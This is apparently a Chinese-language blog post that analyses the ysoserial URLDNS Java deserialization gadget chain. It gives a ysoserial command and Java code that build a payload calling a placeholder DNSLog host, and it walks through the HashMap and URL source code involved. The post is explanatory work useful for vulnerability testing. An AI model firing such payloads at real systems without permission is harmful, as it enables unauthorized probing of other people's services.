在一些漏洞没有回显的时候可以采用DNSLog来验证漏洞是否存在,下面将分析该利用链接
生成payload
使用ysoserial生成序列化后的payload
1
| java -jar ysoserial.jar URLDNS "http://xxxx.ceye.io"
|
编写代码生成payload
- 创建URL对象
- put到hashmap中
- 反射修改URL对象的hashCode为-1
代码如下:
1 2 3 4 5 6 7
| HashMap hashMap = new HashMap(); String url = "http://xxx.ceye.io" URL u = new URL(url); hashMap.put(u,url); Field hashCodeField = u.getClass().getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(u, -1);
|
利用链分析
Gadget Chain:
1 2 3 4 5 6
| HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode().getHostAddress URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
|
序列化时,hashmap重写readObject方法,该方法最终会调用
1 2
| putVal(hash(key), key, value, false, false);
|
进入hash方法
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
根据hashCode计算key的hash,因为key为URL对象,所以调用URL.hashCode(),代码如下:
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
因为URL的hashCode已经通过反射设置为-1,代码会走 handler.hashCode,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| protected int hashCode(URL u) { int h = 0;
String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode();
InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); }
........
return h; }
|
总结
因为hashmap重写readObject方法,readObject又调用了putVal导致了URLDNS利用链。URLDNS本身不依赖第三方包且调用简单,仅能做漏洞探测,不能做到漏洞利用。